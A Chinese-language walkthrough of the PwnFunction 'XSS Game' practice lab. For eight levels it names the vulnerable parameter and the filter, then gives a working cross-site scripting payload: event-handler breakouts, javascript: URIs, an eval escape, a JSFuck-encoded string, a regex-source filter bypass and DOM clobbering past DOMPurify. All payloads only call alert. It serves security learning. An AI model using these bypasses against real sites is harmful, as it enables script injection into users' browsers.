XSS Game

关卡网址： XSS Game - Learning XSS Made Simple! | Created by PwnFunction

1.Ma Spaghet!

见源代码分析得，somebody接收参数，输入somebody=111查看所在位置

使用input标签

<input onmouseover=alert(1337)>

2.Jefff

jeff接收参数,在eval函数中赋值给ma，然后ma再赋值给maname

/jefff.html?jeff=aaaa";alert(1337);"

3.Ugandan Knuckles

wey接受参数，过滤了<>，在input中闭合前后引号，在onfocus后添加autofocus

/da-wey.html?wey=aaa" onfocus=alert(1337) autofocus="

4.Ricardo Milos

ricardo接收参数， ricardo在from表单中

/ricardo.html?ricardo=javascript:alert(1337)

5.Ah That'Hawt

markassbrownlee接收参数，赋值给smith，然后smith进行过滤，过滤了括号、单引号、斜杠，然后进入了innerHTML中，赋值给will

/thats-hawt.html?markassbrownlee=< img src=1 onerror=location="javascript:alert%25281337%2529">

6.Ligma

balls接收参数，过滤掉了字母和数字,使用jsfuck工具进行编码，再再url中编码

/ligma.html?balls=%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%5d%5b(%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%5d)%5b%2b!%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b(%5b%5d%5b%5b%5d%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(%5b%5d%5b%5b%5d%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%5d)%5b%2b!%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%5d((!!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(%5b%5d%5b%5b%5d%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(%5b%5d%5b%5b%5d%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(%2b%5b!%5b%5d%5d%2b%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%5d)%5b%2b!%2b%5b%5d%2b%5b%2b!%2b%5b%5d%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(%2b(!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%2b%5b%2b!%2b%5b%5d%5d))%5b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%5d)%5b%2b!%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b(%5b%5d%2b%5b%5d)%5b(%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%5d)%5b%2b!%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b(%5b%5d%5b%5b%5d%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(%5b%5d%5b%5b%5d%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%5d)%5b%2b!%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%5d%5b(%5b%5d%5b%5b%5d%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b((%2b%5b%5d)%5b(%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%5d)%5b%2b!%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b(%5b%5d%5b%5b%5d%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(%5b%5d%5b%5b%5d%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%5d)%5b%2b!%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%2b%5b%2b!%2b%5b%5d%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%5d%5d(!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%2b%5b!%2b%5b%5d%2b!%2b%5b%5d%5d)%2b(!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d)()((!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%2b%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%5d%2b%5b%2b!%2b%5b%5d%5d%2b%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(%5b%2b%5b%5d%5d%2b!%5b%5d%2b%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d)

7.Mafia

mafia接收参数，过滤了单引号、双引号、+、-、！、中括号和alert，最后由eval执行命令。

/mafia.html?mafia=Function(/ALERT(1337)/.source.toLowerCase())()

8.Ok,Boomer

boomer接受参数，DOMPurify框架中，将所有标签给过滤了，代码中没有setTimeout中ok变量，所以要创建ok变量

/ok-boomer.html?boomer=%3Ca%20id=ok%20href=%22tel:alert(1337)%22%3E